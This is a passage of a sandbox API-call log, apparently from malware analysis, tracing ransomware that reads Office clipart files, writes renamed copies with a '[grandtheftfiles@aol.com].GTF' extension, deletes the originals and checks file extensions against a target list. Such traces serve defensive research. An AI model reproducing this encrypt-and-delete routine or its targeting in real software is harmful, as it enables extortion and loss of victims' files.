	[0078.853] CloseHandle (hObject=0x380) returned 1
	[0078.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220
	[0078.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.853] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.853] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.853] GetLastError () returned 0x0
	[0078.853] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1b48, lpOverlapped=0x0) returned 1
	[0079.189] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1b50, lpOverlapped=0x0) returned 1
	[0079.190] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.190] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0079.190] SetEndOfFile (hFile=0x384) returned 1
	[0080.009] CloseHandle (hObject=0x384) returned 1
	[0080.577] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.577] SetEndOfFile (hFile=0x380) returned 1
	[0080.600] CloseHandle (hObject=0x380) returned 1
	[0080.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1
	[0080.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.917] lstrlenW (lpString=".doc") returned 4
	[0080.917] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.917] lstrlenW (lpString=".docx") returned 5
	[0080.935] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.935] lstrlenW (lpString=".pdf") returned 4
	[0080.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.936] lstrlenW (lpString=".xls") returned 4
	[0080.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.943] lstrlenW (lpString=".xlsx") returned 5
	[0080.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.943] lstrlenW (lpString=".ppt") returned 4
	[0080.943] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.943] lstrlenW (lpString=".zip") returned 4
	[0080.943] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.951] lstrlenW (lpString=".rar") returned 4
	[0080.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.951] lstrlenW (lpString=".bz2") returned 4
	[0080.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.951] lstrlenW (lpString=".7z") returned 3
	[0080.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.951] lstrlenW (lpString=".dbf") returned 4
	[0080.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".1cd") returned 4
	[0080.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".jpg") returned 4
	[0080.952] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".doc") returned 4
	[0080.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString=".docx") returned 5
	[0080.952] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.952] lstrlenW (lpString=".pdf") returned 4
	[0080.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".xls") returned 4
	[0080.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".xlsx") returned 5
	[0080.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.952] lstrlenW (lpString=".ppt") returned 4
	[0080.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".zip") returned 4
	[0080.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".rar") returned 4
	[0080.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".bz2") returned 4
	[0080.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString=".7z") returned 3
	[0080.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".dbf") returned 4
	[0080.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".1cd") returned 4
	[0080.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68
	[0080.953] lstrlenW (lpString=".jpg") returned 4
	[0080.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.953] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.953] lstrlenW (lpString="AN01251_.WMF") returned 12
	[0080.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.953] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2756) returned 1
	[0080.953] CloseHandle (hObject=0x340) returned 1
	[0080.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220
	[0080.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.953] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.953] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.954] GetLastError () returned 0x0
	[0080.954] ReadFile (in: hFile=0x340, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0080.956] WriteFile (in: hFile=0x388, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0080.957] ReadFile (in: hFile=0x340, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.957] WriteFile (in: hFile=0x388, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.957] SetEndOfFile (hFile=0x388) returned 1
	[0080.957] CloseHandle (hObject=0x388) returned 1
	[0081.027] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.027] SetEndOfFile (hFile=0x340) returned 1
	[0081.032] CloseHandle (hObject=0x340) returned 1
	[0081.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1
	[0081.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.034] lstrlenW (lpString=".doc") returned 4
	[0081.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString=".docx") returned 5
	[0081.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.035] lstrlenW (lpString=".pdf") returned 4
	[0081.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString=".xls") returned 4
	[0081.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.035] lstrlenW (lpString=".xlsx") returned 5
	[0081.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.035] lstrlenW (lpString=".ppt") returned 4
	[0081.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.035] lstrlenW (lpString=".zip") returned 4
	[0081.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.035] lstrlenW (lpString=".rar") returned 4
	[0081.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString=".bz2") returned 4
	[0081.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString=".7z") returned 3
	[0081.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.035] lstrlenW (lpString=".dbf") returned 4
	[0081.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.035] lstrlenW (lpString=".1cd") returned 4
	[0081.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.035] lstrlenW (lpString=".jpg") returned 4
	[0081.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.035] lstrlenW (lpString=".doc") returned 4
	[0081.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.035] lstrlenW (lpString=".docx") returned 5
	[0081.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.036] lstrlenW (lpString=".pdf") returned 4
	[0081.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.036] lstrlenW (lpString=".xls") returned 4
	[0081.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.036] lstrlenW (lpString=".xlsx") returned 5
	[0081.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.036] lstrlenW (lpString=".ppt") returned 4
	[0081.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.036] lstrlenW (lpString=".zip") returned 4
	[0081.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.036] lstrlenW (lpString=".rar") returned 4
	[0081.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.036] lstrlenW (lpString=".bz2") returned 4
	[0081.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.036] lstrlenW (lpString=".7z") returned 3
	[0081.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.037] lstrlenW (lpString=".dbf") returned 4
	[0081.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.037] lstrlenW (lpString=".1cd") returned 4
	[0081.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0081.037] lstrlenW (lpString=".jpg") returned 4
	[0081.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.037] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.037] lstrlenW (lpString="AN01545_.WMF") returned 12
	[0081.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.037] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7372) returned 1
	[0081.037] CloseHandle (hObject=0x390) returned 1
	[0081.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220
	[0081.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0081.038] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.038] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.038] GetLastError () returned 0x0
	[0081.038] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1ccc, lpOverlapped=0x0) returned 1
	[0081.048] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1cd0, lpOverlapped=0x0) returned 1
	[0081.049] ReadFile (in: hFile=0x390, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.049] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.049] SetEndOfFile (hFile=0x374) returned 1
	[0081.049] CloseHandle (hObject=0x374) returned 1
	[0081.050] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.050] SetEndOfFile (hFile=0x390) returned 1
	[0081.065] CloseHandle (hObject=0x390) returned 1
	[0081.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1
	[0081.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.067] lstrlenW (lpString=".doc") returned 4
	[0081.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.067] lstrlenW (lpString=".docx") returned 5
	[0081.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.067] lstrlenW (lpString=".pdf") returned 4
	[0081.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString=".xls") returned 4
	[0081.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.068] lstrlenW (lpString=".xlsx") returned 5
	[0081.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.068] lstrlenW (lpString=".ppt") returned 4
	[0081.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.068] lstrlenW (lpString=".zip") returned 4
	[0081.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.068] lstrlenW (lpString=".rar") returned 4
	[0081.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString=".bz2") returned 4
	[0081.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString=".7z") returned 3
	[0081.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.068] lstrlenW (lpString=".dbf") returned 4
	[0081.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.068] lstrlenW (lpString=".1cd") returned 4
	[0081.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.068] lstrlenW (lpString=".jpg") returned 4
	[0081.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.068] lstrlenW (lpString=".doc") returned 4
	[0081.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString=".docx") returned 5
	[0081.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.068] lstrlenW (lpString=".pdf") returned 4
	[0081.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.068] lstrlenW (lpString=".xls") returned 4
	[0081.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.068] lstrlenW (lpString=".xlsx") returned 5
	[0081.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.069] lstrlenW (lpString=".ppt") returned 4
	[0081.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.069] lstrlenW (lpString=".zip") returned 4
	[0081.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.069] lstrlenW (lpString=".rar") returned 4
	[0081.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.069] lstrlenW (lpString=".bz2") returned 4
	[0081.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.069] lstrlenW (lpString=".7z") returned 3
	[0081.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.069] lstrlenW (lpString=".dbf") returned 4
	[0081.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.069] lstrlenW (lpString=".1cd") returned 4
	[0081.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0081.069] lstrlenW (lpString=".jpg") returned 4
	[0081.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.069] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.069] lstrlenW (lpString="AN02559_.WMF") returned 12
	[0081.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
